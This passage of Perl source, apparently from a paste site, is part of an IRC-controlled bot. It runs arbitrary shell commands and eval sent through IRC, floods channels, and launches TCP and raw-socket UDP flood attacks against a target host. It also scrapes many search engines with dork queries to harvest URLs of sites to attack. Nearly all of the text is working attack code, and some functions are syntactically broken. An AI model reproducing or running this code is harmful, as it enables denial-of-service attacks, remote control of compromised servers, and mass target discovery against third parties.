  1278.    if ($case =~ /^op/) {
  1279.       op("$printl", "$kem") if $case eq "op";
  1280.       my $oarg = substr($case, 3);
  1281.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1282.    }
  1283.  
  1284.    if ($case =~ /^deop/) {
  1285.       deop("$printl", "$kem") if $case eq "deop";
  1286.       my $oarg = substr($case, 5);
  1287.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1288.    }
  1289.  
  1290.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  1291.       msg("$1", "$2");
  1292.    }
  1293.  
  1294.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1295.       for (my $cf = 1; $cf <= $1; $cf++) {
  1296.          msg("$2", "$3");
  1297.       }
  1298.    }
  1299.  
  1300.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1301.       ctcp("$1", "$2");
  1302.    }
  1303.  
  1304.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1305.       for (my $cf = 1; $cf <= $1; $cf++) {
  1306.          ctcp("$2", "$3");
  1307.       }
  1308.    }
  1309.  
  1310.    if ($case =~ /^nick (.*)/) {
  1311.       nick("$1");
  1312.    }
  1313.  
  1314.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1315.       conectar("$2", "$1", 6667);
  1316.    }
  1317.  
  1318.    if ($case =~ /^raw (.*)/) {
  1319.       sendraw("$1");
  1320.    }
  1321.  
  1322.    if ($case =~ /^eval (.*)/) {
  1323.       eval "$1";
  1324.    }
  1325. }
  1326.  
  1327. sub get_html() {
  1328. $test=$_[0];
  1329.  
  1330.       $ip=$_[1];
  1331.       $port=$_[2];
  1332.  
  1333. my $req=HTTP::Request->new(GET=>$test);
  1334. my $ua=LWP::UserAgent->new();
  1335. if(defined($ip) && defined($port)) {
  1336.       $ua->proxy("http","http://$ip:$port/");
  1337.       $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1338. }
  1339. $ua->timeout(1);
  1340. my $response=$ua->request($req);
  1341. if ($response->is_success) {
  1342.    $re=$response->content;
  1343. }
  1344. return $re;
  1345. }
  1346.  
  1347. sub addproc {
  1348.  
  1349.    my $proc=$_[0];
  1350.    my $dork=$_[1];
  1351.    
  1352.    open(FILE,">>/var/tmp/pids");
  1353.    print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1354.    close(FILE);
  1355. }
  1356.  
  1357.  
  1358. sub delproc {
  1359.  
  1360.    my $proc=$_[0];
  1361.    open(FILE,"/var/tmp/pids");
  1362.  
  1363.    while(<FILE>) {
  1364.       $_ =~ /(\d+)\s+(.*)/;
  1365.       $childs{$1}=$2;
  1366.    }
  1367.    close(FILE);
  1368.    delete($childs{$proc});
  1369.  
  1370.    open(FILE,">/var/tmp/pids");
  1371.  
  1372.    for $klucz (keys %childs) {
  1373.       print FILE $klucz." ".$childs{$klucz}."\n";
  1374.    }
  1375. }
  1376.  
  1377. sub shell {
  1378.    my $printl=$_[0];
  1379.    my $comando=$_[1];
  1380.    if ($comando =~ /cd (.*)/) {
  1381.       chdir("$1") || msg("$printl", "No such file or directory");
  1382.       return;
  1383.    } elsif ($pid = fork) {
  1384.       waitpid($pid, 0);
  1385.    } else {
  1386.       if (fork) {
  1387.          exit;
  1388.       } else {
  1389.          my @resp=`$comando 2>&1 3>&1`;
  1390.          my $c=0;
  1391.          foreach my $linha (@resp) {
  1392.             $c++;
  1393.             chop $linha;
  1394.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1395.             if ($c == "$linas_max") {
  1396.                $c=0;
  1397.                sleep $sleep;
  1398.             }
  1399.          }
  1400.          exit;
  1401.       }
  1402.    }
  1403. }
  1404.  
  1405. sub tcpflooder {
  1406.    my $itime = time;
  1407.    my ($cur_time);
  1408.    my ($ia,$pa,$proto,$j,$l,$t);
  1409.    $ia=inet_aton($_[0]);
  1410.    $pa=sockaddr_in($_[1],$ia);
  1411.    $ftime=$_[2];
  1412.    $proto=getprotobyname('tcp');
  1413.    $j=0;$l=0;
  1414.    $cur_time = time - $itime;
  1415.    while ($l<1000){
  1416.       $cur_time = time - $itime;
  1417.       last if $cur_time >= $ftime;
  1418.       $t="SOCK$l";
  1419.       socket($t,PF_INET,SOCK_STREAM,$proto);
  1420.       connect($t,$pa)||$j--;
  1421.       $j++;
  1422.       $l++;
  1423.    }
  1424.    $l=0;
  1425.    while ($l<1000){
  1426.       $cur_time = time - $itime;
  1427.       last if $cur_time >= $ftime;
  1428.       $t="SOCK$l";
  1429.       shutdown($t,2);
  1430.       $l++;
  1431.    }
  1432. }
  1433.  
  1434. sub udpflooder {
  1435.    my $iaddr = inet_aton($_[0]);
  1436.    my $msg = 'A' x $_[1];
  1437.    my $ftime = $_[2];
  1438.    my $cp = 0;
  1439.    my (%pacotes);
  1440.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1441.    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1442.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1443.    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1444.    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1445.    return(undef) if $cp == 4;
  1446.    my $itime = time;
  1447.    my ($cur_time);
  1448.    while ( 1 ) {
  1449.       for (my $porta = 1; $porta <= 65000; $porta++) {
  1450.          $cur_time = time - $itime;
  1451.          last if $cur_time >= $ftime;
  1452.          send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1453.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1454.          send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1455.          send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1456.          for (my $pc = 3; $pc <= 255;$pc++) {
  1457.             next if $pc == 6;
  1458.             $cur_time = time - $itime;
  1459.             last if $cur_time >= $ftime;
  1460.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1461.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1462.          }
  1463.       }
  1464.       last if $cur_time >= $ftime;
  1465.    }
  1466.    return($cur_time, %pacotes);
  1467. }
  1468.  
  1469. sub ctcp {
  1470.    return unless $#_ == 1;
  1471.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1472. }
  1473.  
  1474. sub msg {
  1475.    return unless $#_ == 1;
  1476.    sendraw("PRIVMSG $_[0] :$_[1]");
  1477. }
  1478.  
  1479. sub notice {
  1480.    return unless $#_ == 1;
  1481.    sendraw("NOTICE $_[0] :$_[1]");
  1482. }
  1483.  
  1484. sub op {
  1485.    return unless $#_ == 1;
  1486.    sendraw("MODE $_[0] +o $_[1]");
  1487. }
  1488.  
  1489. sub deop {
  1490.    return unless $#_ == 1;
  1491.    sendraw("MODE $_[0] -o $_[1]");
  1492. }
  1493.  
  1494. sub j {
  1495.    &join(@_);
  1496. }
  1497.  
  1498. sub join {
  1499.    return unless $#_ == 0;
  1500.    sendraw("JOIN $_[0]");
  1501. }
  1502.  
  1503. sub p {
  1504.    part(@_);
  1505. }
  1506.  
  1507. sub part {
  1508.    sendraw("PART $_[0]");
  1509. }
  1510.  
  1511. sub nick {
  1512.    return unless $#_ == 0;
  1513.    sendraw("NICK $_[0]");
  1514. }
  1515.  
  1516. sub quit {
  1517.    sendraw("QUIT :$_[0]");
  1518. }
  1519.  
  1520. sub fetch(){
  1521.    my $rnd=(int(rand(9999)));
  1522.    my $n= 80;
  1523.    if ($rnd<5000) {
  1524.       $n<<=1;
  1525.    }
  1526.    my $s= (int(rand(10)) * $n);
  1527.    my @dominios = ("removed-them-all");
  1528.    my @str;
  1529.    foreach $dom  (@dominios){
  1530.       push (@str,"@gstring");
  1531.    }
  1532.    my $query="www.google.com/search?q=";
  1533.    $query.=$str[(rand(scalar(@str)))];
  1534.    $query.="&num=$n&start=$s";
  1535.    my @lst=();
  1536.    sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1537.    my $page = http_query($query);
  1538.    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1539.       if ($1 !~ m/google|cache|translate/){
  1540.          push (@lst,$1);
  1541.       }
  1542.    }
  1543.    return (@lst);
  1544.  
  1545. sub yahoo(){
  1546. my @lst;
  1547. my $key = $_[0];
  1548. for($b=1;$b<=1000;$b+=100){
  1549. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1550. my $Res=query($Ya);
  1551. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1552. my $k=$1;
  1553. $k=~s/<b>//g;
  1554. $k=~s/<\/b>//g;
  1555. $k=~s/<wbr>//g;
  1556. my @grep=links($k);
  1557. push(@lst,@grep);
  1558. }}
  1559. return @lst;
  1560. }
  1561.  
  1562. sub msn(){
  1563. my @lst;
  1564. my $key = $_[0];
  1565. for($b=1;$b<=1000;$b+=10){
  1566. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1567. my $Res=query($msn);
  1568. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1569. if($1 !~ /msn|live/){
  1570. my $k=$1;
  1571. my @grep=links($k);
  1572. push(@lst,@grep);
  1573. }}}
  1574. return @lst;
  1575. }
  1576.  
  1577. sub lycos(){
  1578. my $inizio=0;
  1579. my $pagine=20;
  1580. my $key=$_[0];
  1581. my $av=0;
  1582. my @lst;
  1583. while($inizio <= $pagine){
  1584. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1585. my $Res=query($lycos);
  1586. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1587. my $k="$1";
  1588. my @grep=links($k);
  1589. push(@lst,@grep);
  1590. }
  1591. $inizio++;
  1592. $av++;
  1593. }
  1594. return @lst;
  1595. }
  1596.  
  1597. #####
  1598. sub aol(){
  1599. my @lst;
  1600. my $key = $_[0];
  1601. for($b=1;$b<=100;$b++){
  1602. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1603. my $Res=query($AoL);
  1604. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1605. my $k=$1;
  1606. my @grep=links($k);
  1607. push(@lst,@grep);
  1608. }}
  1609. return @lst;
  1610. }
  1611. #####
  1612. sub ask(){
  1613. my @lst;
  1614. my $key=$_[0];
  1615. my $i=0;
  1616. my $pg=0;
  1617. for($i=0; $i<=1000; $i+=10)
  1618. {
  1619. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1620. my $Res=query($Ask);
  1621. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  1622. my $k=$3;
  1623. $k=~s/[\"\ ]//g;
  1624. my @grep=links($k);
  1625. push(@lst,@grep);
  1626. }}
  1627. return @lst;
  1628. }
  1629. #####
  1630. sub alltheweb()
  1631. {
  1632. my @lst;
  1633. my $key=$_[0];
  1634. my $i=0;
  1635. my $pg=0;
  1636. for($i=0; $i<=1000; $i+=100)
  1637. {
  1638. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1639. my $Res=query($all);
  1640. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1641. my $k=$1;
  1642. $k=~s/ //g;
  1643. my @grep=links($k);
  1644. push(@lst,@grep);
  1645. }}
  1646. return @lst;
  1647. }
  1648.  
  1649. sub google(){
  1650. my @lst;
  1651. my $key = $_[0];
  1652. for($b=0;$b<=100;$b+=100){
  1653. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1654. my $Res=query($Go);
  1655. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1656. if ($1 !~ /google/){
  1657. my $k=$1;
  1658. my @grep=links($k);
  1659. push(@lst,@grep);
  1660. }}}
  1661. return @lst;
  1662. }
  1663.  
  1664. #####
  1665. # SUBS SEARCH
  1666. #####
  1667. sub search(){
  1668. my @lst;
  1669. my $key = $_[0];
  1670. for($b=0;$b<=1000;$b+=100){
  1671. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1672. my $Res=query($ser);
  1673. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1674. if ($1 !~ /msn|live|google|yahoo/){
  1675. my $k=$1;
  1676. my @grep=links($k);
  1677. push(@lst,@grep);
  1678. }}}
  1679. return @lst;
  1680. }
  1681.  
  1682. #####
  1683. # SUBS FireBall
  1684. #####
  1685. sub fireball(){
  1686. my $key=$_[0];
  1687. my $inicio=1;
  1688. my $pagina=200;
  1689. my @lst;
  1690. my $av=0;
  1691. while($inicio <= $pagina){
  1692. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1693. my $Res=query($fireball);
  1694. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1695. if ($1 !~ /msn|live|google|yahoo/){
  1696. my $k="$1/";
  1697. my @grep=links($k);
  1698. push(@lst,@grep);
  1699. }}
  1700. $av=$av+10;
  1701. $inicio++;
  1702. }
  1703. return @lst;
  1704. }
  1705. #####
  1706. # SUBS UOL
  1707. #####
  1708. sub uol(){
  1709. my @lst;
  1710. my $key = $_[0];
  1711. for($b=1;$b<=1000;$b+=10){
  1712. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1713. my $Res=query($UoL);
  1714. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1715. my $k=$1;
  1716. if($k!~/busca|uol|yahoo/){
  1717. my $k=$1;
  1718. my @grep=links($k);
  1719. push(@lst,@grep);
  1720. }}}
  1721. return @lst;
  1722. }
  1723.  
  1724. #####
  1725. # Altavista
  1726. #####
  1727. sub altavista(){
  1728. my @lst;
  1729. my $key = $_[0];
  1730. for($b=1;$b<=1000;$b+=10){
  1731. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1732. my $Res=query($AlT);
  1733. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1734. if($1 !~ /altavista/){
  1735. my $k=$1;
  1736. $k=~s/<//g;
  1737. $k=~s/ //g;
  1738. my @grep=links($k);
  1739. push(@lst,@grep);
  1740. }}}
  1741. return @lst;
  1742. }
  1743.  
  1744. sub altavistade(){
  1745. my @lst;
  1746. my $key = $_[0];
  1747. for($b=1;$b<=1000;$b+=10){
  1748. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1749. my $Res=query($AlT);
  1750. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1751. if($1 !~ /altavista/){
  1752. my $k=$1;
  1753. $k=~s/<//g;
  1754. $k=~s/ //g;
  1755. my @grep=links($k);
  1756. push(@lst,@grep);
  1757. }}}
  1758. return @lst;
  1759. }
  1760.  
  1761. sub altavistaus(){
  1762. my @lst;
  1763. my $key = $_[0];
  1764. for($b=1;$b<=1000;$b+=10){
  1765. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1766. my $Res=query($AlT);
  1767. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1768. if($1 !~ /altavista/){
  1769. my $k=$1;
  1770. $k=~s/<//g;
  1771. $k=~s/ //g;
  1772. my @grep=links($k);
  1773. push(@lst,@grep);
  1774. }}}
  1775. return @lst;
  1776. }
  1777.  
  1778. #####
  1779. # HotBot
  1780. #####
  1781. sub hotbot(){
  1782. my @lst;
  1783. my $key = $_[0];
  1784. for($b=0;$b<=1000;$b+=100){
  1785. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1786. my $Res=query($hot);
  1787. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1788. if ($1 !~ /msn|live|google|yahoo/){
  1789. my $k=$1;
  1790. my @grep=links($k);
  1791. push(@lst,@grep);
  1792. }}}
  1793. return @lst;
  1794. }
  1795.  
  1796.  
  1797. #####
  1798. # Mamma
  1799. #####
  1800. sub mamma(){
  1801. my @lst;
  1802. my $key = $_[0];
  1803. for($b=0;$b<=1000;$b+=100){
  1804. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1805. my $Res=query($mam);
  1806. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1807. if ($1 !~ /msn|live|google|yahoo/){
  1808. my $k=$1;
  1809. my @grep=links($k);
  1810. push(@lst,@grep);
  1811. }}}
  1812. return @lst;
  1813. }
  1814.  
  1815. #####
  1816. # MozBot
  1817. #####
  1818. sub mozbot()
  1819. {
  1820. my @lst;
  1821. my $key=$_[0];
  1822. my $i=0;
  1823. my $pg=0;
  1824. for($i=0; $i<=100; $i+=1){
  1825. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1826. my $Res=query($mozbot);
  1827. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1828. my $k=$1;
  1829. $k=~s/ //g;
  1830. my @grep=links($k);
  1831. push(@lst,@grep);
  1832. }}
  1833. return @lst;
  1834. }
  1835.  
  1836. sub links()
  1837. {
  1838. my @l;
  1839. my $link=$_[0];
  1840. my $host=$_[0];
  1841. my $hdir=$_[0];
  1842. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1843. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1844. $host.="/";
  1845. $link.="/";
  1846. $hdir.="/";
  1847. $host=~s/\/\//\//g;
  1848. $hdir=~s/\/\//\//g;
  1849. $link=~s/\/\//\//g;
  1850. push(@l,$link,$host,$hdir);
  1851. return @l;
  1852. }
  1853.  
  1854. sub geths(){
  1855. my $host=$_[0];
  1856. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1857. return $host;
  1858. }
  1859.  
  1860. sub key(){
  1861. my $chiave=$_[0];
  1862. $chiave =~ s/ /\+/g;
  1863. $chiave =~ s/:/\%3A/g;
  1864. $chiave =~ s/\//\%2F/g;
  1865. $chiave =~ s/&/\%26/g;
  1866. $chiave =~ s/\"/\%22/g;
  1867. $chiave =~ s/,/\%2C/g;
  1868. $chiave =~ s/\\/\%5C/g;
  1869. return $chiave;
  1870. }
  1871.  
  1872. sub query($){
  1873. my $url=$_[0];
  1874. $url=~s/http:\/\///;
  1875. my $host=$url;
  1876. my $query=$url;
  1877. my $page="";
  1878. $host=~s/href=\"?http:\/\///;
  1879. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1880. $query=~s/$host//;
  1881. if ($query eq "") {$query="/";};
  1882. eval {
  1883. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1884. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1885. my @r = <$sock>;
  1886. $page="@r";
  1887. close($sock);
  1888. };
  1889. return $page;
  1890. }
  1891.  
  1892. sub unici{}
  1893. my @unici = ();
  1894. my %visti = ();
  1895. foreach my $elemento ( @_ )
  1896. {
  1897. next if $visti{ $elemento }++;
  1898. push @unici, $elemento;
  1899. }  
  1900. return @unici;
  1901. }
  1902.  
  1903. sub http_query($){
  1904. my ($url) = @_;
  1905. my $host=$url;
  1906. my $query=$url;
  1907. my $page="";
  1908. $host =~ s/href=\"?http:\/\///;
  1909. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1910. $query =~s/$host//;
  1911. if ($query eq "") {$query="/";};
  1912. eval {
  1913. local $SIG{ALRM} = sub { die "1";};
  1914. alarm 10;
  1915. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1916. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1917. my @r = <$sock>;
  1918. $page="@r";
  1919. alarm 0;
  1920. close($sock);
  1921. };
  1922. return $page;
  1923. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement